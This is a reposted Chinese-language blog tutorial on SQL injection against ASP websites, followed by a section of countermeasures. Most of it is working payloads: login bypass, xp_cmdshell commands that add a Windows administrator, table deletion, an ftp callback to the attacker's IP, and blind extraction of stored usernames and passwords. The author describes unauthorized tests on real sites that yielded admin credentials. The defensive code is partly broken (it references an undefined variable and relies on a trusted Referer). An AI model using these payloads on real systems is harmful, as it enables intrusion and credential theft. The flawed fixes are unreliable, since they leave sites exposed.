淺談sql注入式(SQL injection)攻擊與防範

來源:互聯網
上載者:User

 

沒有系統的學習過asp或者php編程,也沒有系統的學習過access、sqlserver、mysql等資料庫,所以我不是一個程式員,雖然經常幹一些類似程式員的事情。
因為要建立自己的網站,3次改版下來,多少也寫了幾千行程式,加上對一些論壇、留言板、文章發布系統的測試,也發現了一些問題,現在與大家探討。
在寫這篇文章的時候,我除了在本機建立asp+access、asp+sql server測試環境,還在××安全網站、××市人才網、××網路公司的網站上進行了部分測試,在此謹表示歉意!我是選擇在淩晨2點~3點開始的測試,而且僅限於檢索操作,所以可以肯定的說對貴站幾乎沒有什麼影響,用1個小時流量略多換取我給你們的安全報告,我想不會太虧吧,呵呵!
1、bak檔案泄漏asp原始碼
很多編輯工具,如Editplus、UltraEdit,預設情況下在儲存檔案的時候,都會自動備份一個.bak檔案。如建立或者編輯config.asp檔案,則編輯器會自動產生一個config.asp.bak檔案,如果沒有刪除該檔案,攻擊者可以通過http://www.***.com/config.asp.bak來下載asp來源程式。
可以想象,你的來源程式被下載,被攻擊的風險無疑大了很多。而如果是設定檔,呵呵,使用者名稱、密碼、資料庫名稱/位置……
解決辦法:要麼就直接關閉編輯器的自動備份功能,要麼在上傳的時候,刪除所有.bak檔案。
2、身分識別驗證被繞過
一般網站有很多頁面是需要身分識別驗證通過以後才能訪問的,而在這些頁面需要對使用者身份再次進行驗證,但是很多程式員往往忽略了這一點。如果攻擊者知道了這些頁面的路徑和檔案名稱,就可以繞過身分識別驗證,直接進入到該頁面。如:需要使用者通過login.asp頁面登陸,經過身分識別驗證才能開啟manage.asp頁面。攻擊者可以通過http://www.***.com/manage.asp直接進入管理介面。
解決辦法:在這些的頁面開頭進行身份確認。如:在身分識別驗證通過以後傳遞一個session("login")="ok",在manage.asp開頭加入
以下內容為程式碼:

if session("login")<>"ok" then
response.redirect "login.asp"
end if

上面2點說的都是編程的基礎問題,下面就來討論本文的重點,關於sql注入式攻擊與防範。
3、asp程式資料庫密碼驗證漏洞
首先,關於request對象,我們知道,如果在form表單中使用get方法傳遞資料時,應該用QueryString集合來檢索表單資料;而使用post方法傳遞資料時,應該用Form集合來檢索表單資料。而更多的程式員為了方便,直接省略集合名稱,使用request("data")來檢索資料,看似簡單,實際上效率很低,而且容易出錯。asp預設搜尋集合的順序是QueryString、Form、Cookie、Serverariable,當發現第一個匹配的變數時,就認定是你要訪問的成員。所以建議大家不要採用這種方法,題外話說完,我們轉入正題。
先來看login.asp檔案
以下內容為程式碼:

……
<form action="verify.asp" method="post" name="login">
使用者名稱<input type=text name=name value="" maxlength="20">
密碼<input type=password name=pwd value="" maxlength="20">
<input type=submit name=bt value="確認">
<input type=reset name=bt value="重設">
</form>
……

再來看verify.asp檔案
以下內容為程式碼:

……
dim rs,sql
dim name,pwd
name=request.form("name")
pwd=request.form("pwd")

if name="" or pwd="" then
response.redirect "login.asp"
end if
……
'關於身分識別驗證
sql="select * from user where name='"&name&"' and pwd='"&pwd&"'"
……

不要以為沒有人會這樣寫,我見過很多很多,如果你相信我:),看看攻擊者能做什麼:
(1)我們在使用者名稱位置輸入【admin' or 1='1】,在密碼區輸入【11】。註:內容只有【】內的。看看sql會變成什麼:
以下內容為程式碼:

sql=select * from user where name='admin' or 1='1' and pwd='11'

我們知道,or是一個邏輯運算子,在判斷多個條件的時候,只要有一個成立,則等式就返回真,後面的and就不再進行判斷了,也就是說我們繞過了密碼驗證,只要我們知道使用者名稱就可以登陸該系統。
(2)我們也可以在使用者名稱位置輸入【admin' --】,在密碼區輸入【11】。再看看sql:
以下內容為程式碼:

sql=select * from user where name='admin' --' and pasword='11'

同樣,通過串連符--注釋掉了後面的密碼驗證,對access資料庫無效。
(3)如果可以通過串連符注釋掉後面的驗證,那麼就更有意思了,來看我們能作什麼:
a、在使用者名稱位置輸入【admin';exec master.dbo.sp_addlogin Cool;--】,添加一個sql使用者
b、在使用者名稱位置輸入【admin';exec master.dbo.sp_password null,123456,Cool;--】,給Cool設定密碼為123456
c、在使用者名稱位置輸入【admin';exec master.dbo.sp_addsrvrolemember Cool,sysadmin;--】,給Cool賦予System Administrator許可權
d、在使用者名稱位置輸入【admin';exec master.dbo.xp_cmdshell 'net user Cool 123456 /workstations:*
/times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 】,給系統添加一個密碼為123456的帳戶Cool,並設定相關屬性,關於net user命令可以參考這裡。
e、在使用者名稱位置輸入【admin';exec master.dbo.xp_cmdshell 'net localgroup administrators Cool /add';--】,把cool使用者添加到Administrator 群組。
現在覺得恐怖了沒有,當然我還沒說完,實現這些必須是該網站使用sa或者system administrator許可權的使用者來串連資料庫,普通的的虛擬空間是不用想了,除非管理員是SB。但是對於那些網站放在自己伺服器上的網站,很難說哦,真的很難說,呵呵,我見過N個。
那如果不是sa,是不是就什麼也不能做了,當然不是!只是不能獲得太高許可權來控制sql庫和系統了,但是對這個庫,我們還是擁有完整的系統管理權限。來看看我們能作什麼:
a、輸入【admin';delete user;--】,一旦他的表名就是user,就會刪除user表裡所有記錄。夠狠吧!你可千萬別這麼做哦!
b、輸入【admin';insert into user (name,pwd) values ('cool','123456');--】,可以給user表添加一個使用者,當然前提是表名和欄位名都要正確。
c、輸入【admin';update news set pwd='123456' where name='admin';--】,可以修改admin的密碼,當然前提也是表名和欄位名都要正確。
更多的攻擊內容,你可以參考sql文法。
看來如果不是sa還是比較鬱悶的,當然,我們也有一些簡單的方法來判斷網站是否使用sa來串連資料庫。
a、在cmd中執行nc -l -p 21,監聽原生21連接埠;當然也可以採用火牆什麼的。
b、輸入【admin';exec master.dbo.xp_cmdshell 'ftp *.*.*.*'】,其中*代表你的ip地址,如果發現有串連,就可以斷定是使用sa了,而且可以獲得網站資料庫的ip地址,因為有些網站web和sql是放在不同伺服器上的;如果沒有串連,則網站使用的是非sa帳戶。
可能有的朋友已經看出來了,如果網站使用的是sa,我們可以通過頁面從內部發起串連,可以構造ftp指令碼,也可以使用tftp來上傳檔案,即使有火牆也是枉然。
也許有的朋友會說,人家在表單裡已經這裡了最大長度是20,你跟本就輸入不了那麼多!沒事,難不倒我們。
方法一:
a、開啟網站頁面http://www.***.com/login.asp,查看源檔案,把提交表單部分
以下內容為程式碼:

<form action="verify.asp" method="post" name="login">
使用者名稱<input type=text name=name value="" maxlength="20">
密碼<input type=password name=pwd value="" maxlength="20">
<input type=submit name=bt value="確認">
<input type=reset name=bt value="重設">
</form>

拷貝出來,存到本機login.htm
b、修改action為http://www.***.com/verify.asp,即:
以下內容為程式碼:

<form action="http://www.***.com/verify.asp" method="post" name="login">
使用者名稱<input type=text name=name value="" maxlength="20">
密碼<input type=password name=pwd value="" maxlength="20">
<input type=submit name=bt value="確認">
<input type=reset name=bt value="重設">
</form>

注意:有的網站這裡的action為空白,就需要你自己慢慢找找他提交到那裡去了,呵呵,我遇到過這種情況,一般來說都是可以找到的。
c、修改maxlength,加大,再加大,要不就刪除了!
d、從本地提交變數
方法二:
Cool.reg
9x使用者:
以下內容為程式碼:

REGEDIT4

[HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/MenuExt/給我加大>
@="c://cool.htm"
"contexts"=dword:00000004

2k使用者:
以下內容為程式碼:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/MenuExt/給我加大>
@="c://cool.htm"
"contexts"=dword:00000004

Cool.htm
以下內容為程式碼:

<script language=vbs>
set srcevent = external.menuarguments.event
set doc=external.menuarguments.document
set ele=doc.elementfrompoint( srcevent.clientx, srcevent.clienty )
if ele.type ="text" or ele.type="password" then
ele.maxlength=100
ele.size=100
end if
</script>

a、拷貝cool.reg的內容,儲存,執行並確認。
b、拷貝cool.htm的內容,儲存到指定位置,這裡是c:/
c、開啟網頁http://www.***.com,在輸入框位置點擊右鍵,會看到“給我加大”一項,點擊即可
當然,我們可以修改cool.reg來改變cool.htm的路徑以及檔案名稱;也可以修改cool.htm來改變size和maxlength。
好了,說了這麼多恐怖的東東,來看看怎麼防範。
(1)過濾提交資料;我們可以通過
以下內容為程式碼:

……
dim name,pwd
name=request.form("name")
name=replace(name,"'","’") '替換半形'為全形'
name=replace(exp1,"-","") '替換-為空白
name=replace(exp1,";","") '替換;為空白
……

或者
以下內容為程式碼:

……
dim name,pwd
name=request.form("name")
if InStr(name,"'") or InStr(name,"-") or InStr(name,";") then
response.write("<script language=""JavaScript"">
alert(""error!"");history.go(-1);</script>")
response.end
end if
……

具體的過濾條件,或者替換還需要結合實際來使用。
(2)verify.asp檔案本身驗證的邏輯就是錯誤的,應該修改為:
以下內容為程式碼:

……
set rs=server.createobject("adodb.recordset")
sql="select * from user where name='"&name&"'"
rs.open sql,conn_data,1,1
'身分識別驗證過程
if not rs.eof then
if pwd=rs("pwd") then
session("login")="ok"
response.redirect "/default.asp"
else
response.redirect "login.asp"
end if
else
response.redirect "login.asp"
end if
……

也就是說以使用者名稱為條件檢索資料庫,用檢索到的記錄的密碼與用戶端輸入的密碼進行比較。
(3)對使用者密碼加密處理,網上有很多相關的加密過程,這裡假定為encrypt(),則verify.asp就應該是
以下內容為程式碼:

……
set rs=server.createobject("adodb.recordset")
sql="select * from user where name='"&name&"'"
rs.open sql,conn_data,1,1
'身分識別驗證過程
if not rs.eof then
if encrypt(pwd)=rs("pwd") then '這裡對輸入的密碼進行加密處理
session("login")="ok"
response.redirect "/default.asp"
else
response.redirect "login.asp"
end if
else
response.redirect "login.asp"
end if
……

(4)用不同的使用者帳戶執行查詢、插入、更新、刪除操作。由於隔離了不同帳戶可執行檔操作,因而也就防止了原本用於執行SELECT命令的地方卻被用於執行INSERT、UPDATE或DELETE命令。如果是大型官方網站,千萬不要怕麻煩!
(5)通過資料庫設定特定的預存程序,只允許特定的預存程序執行,所有的使用者輸入必須遵從被調用的預存程序的安全上下文,這樣就很難再發生注入式攻擊了。
(6)限制表單或查詢字串輸入的長度。如果使用者的登入名稱字最多隻有20個字元,那麼不要認可表單中輸入的20個以上的字元,這將大大增加攻擊者在SQL命令中插入有害代碼的難度。當然,我們可以通過本地提交來繞過這個限制,但是也不是沒有辦法來控制,來看:
a、在取資料的時候,只取有效長度內的資料。
以下內容為程式碼:

……
dim name,pwd
name=left(request.form("name"),20)
……

b、在伺服器確認提交位置
login.asp
以下內容為程式碼:

……
<form action="verify.asp" method="post" name="login">
<input type="hidden" name="referer"
value="<%=Request.ServerVariables("HTTP_REFERER")%>">
<input type="hidden" name="ser_name"
value="<%=Request.ServerVariables("SERVER_NAME%>">
使用者名稱<input type=text name=name value="" maxlength="20">
密碼<input type=password name=pwd value="" maxlength="20">
<input type=submit name=bt value="確認">
<input type=reset name=bt value="重設">
</form>
……

這裡傳遞了2個參數referer,ser_name
verify.asp
以下內容為程式碼:

……
dim referer,ser_name
'取這2個參數
referer=Cstr(Request.ServerVariables("HTTP_REFERER"))
ser_name=Cstr(Request.ServerVariables("SERVER_NAME"))
'判斷瀏覽器位置
if mid(referer,8,len(ser_name))<>ser_name then
response.redirect "login.asp"
end if
……

這樣,如果你不是在該網站提交的資料,就不能夠順利登陸。
(7)檢查提取資料的查詢所返回的記錄數量。如果程式只要求返回一個記錄,但實際返回的記錄卻超過一行,那就當作出錯處理。
4、網頁傳遞參數不進行過濾處理
很多網站都存在這個問題,比如http://www.***.com/show.asp?id=50,在沒有對id進行過濾,或有效過濾的情況下,整個網站都處在非常危險的境地。
我們可以通過很簡單的辦法測試是否存在這個問題:
http://www.***.com/show.asp?id=50 and 1=1
如果頁面顯示正確,基本上可以斷定它存在這個問題。
來看看攻擊者能做寫什麼:
(1)http://www.***.com/show.asp?
id=50;exec master.dbo.sp_addlogin Cool;--
(2)http://www.***.com/show.asp?
id=50;exec master.dbo.sp_password null,
123456,Cool;--
(3)http://www.***.com/show.asp?
id=50;exec master.dbo.sp_addsrvrolemember
Cool,sysadmin;--
(4)http://www.***.com/show.asp?
id=50;exec master.dbo.xp_cmdshell 'net
user Cool 123456 /add';--
(5)http://www.***.com/show.asp?
id=50;exec master.dbo.xp_cmdshell 'net
localgroup administrators Cool /add';--
只要是表單中能提交的,這裡基本都可以提交。
(6)猜表名
:http://www.***.com/show.asp?id=50 and
0<>(select count(*) from tablename),這裡的tablename就是你猜測的表名。如果頁面顯示正常,則你猜測的表名是正確的。
(7)猜欄位名:
http://www.***.com/show.asp?id=50 and
0<>(select count(fieldname) from tablename),這裡的fieldname是表中某一欄位名,如果頁面顯示正常,可以斷定欄位名稱正確。
(8)在獲得tablename和fieldname以後,就可以更進一步了。
比如是登陸系統,tablename是user,fieldname是id,name和pwd,看看能做些什麼:
a、http://www.***.com/show.asp?id=50 and 0<>
(select count(*) from user where id>1000)
粗略判斷使用者數量
b、http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1 and len(name)=10)
判斷id為1的使用者的使用者名稱長度是否為10
c、http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1 and mid(name,n,1)='a')
判斷id為1的使用者的使用者名稱的第n位是否為a
d、http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1 and len(pwd)=10)
判斷id為1的使用者的密碼長度是否為10
e、http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1 and mid(pwd,n,1)='a')
判斷id為1的使用者的密碼的第n位是否為a,如果你的密碼沒有加密,嘿嘿!
當然mid(pwd,n,1)也可以寫成right(left(pwd,n),1),個人習慣了!
不過這樣子一點一點的試,是不是太累了,那就自己用用perl寫個小東東吧,掛個字典?呵呵,隨你便!
另外,還有一個小技巧,可以讓你很快的破解使用者名稱和密碼,我用這種方法,在10分鐘內完成了猜表名、猜列名、破解一個10位長(其中5位漢字)的使用者名稱、破解它的12位(1位漢字)密碼,獲得了××安全網站的後台管理使用者名和密碼,不過其中有8項內容是通過社交工程學猜的,呵呵。只是有點鬱悶的是我沒有找到網站背景登陸介面,鬱悶ing……
a、http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1 and len(name)=10)
先確定使用者名稱長度
b、http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1 and len(pwd)=10)
再確定密碼長度
c、http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1
src(mid(name,1,1))<0)
判斷使用者名稱第一位是否為中文,如果是中文,一般都是負的好多
如果不是,一般範圍都在27~126之間,可以使用
http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1
src(mid(name,n,1))>60)
http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1
src(mid(name,n,1))<100)
來確定範圍,最終得出asc碼值,通過對照(常用ASCII 碼對照表)來獲得第n位內容。
如果是中文,應該小於-32,768,可以使用
http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1
src(mid(name,n,1))>-30000)
http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1
src(mid(name,n,1))<-10000)
來確定範圍,最終得出asc碼值,通過轉換獲得第n位的內容,方法多多,許多編輯工具都有這個功能,也可以使用chr()函數直接輸出進行轉換。
d、同理,可以很快獲得密碼內容。
這裡你是否也看到了剛才提到的request對象中省略集合名稱的問題呢?!:)
解決辦法:這類問題,主要是對傳遞參數的過濾和對資料合法性的驗證。
限於個人水平,以上內容不一定完全正確,而且還有許多沒有提及的地方,希望和大家更多的交流。 asp?id=980 width=1 height=1>

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.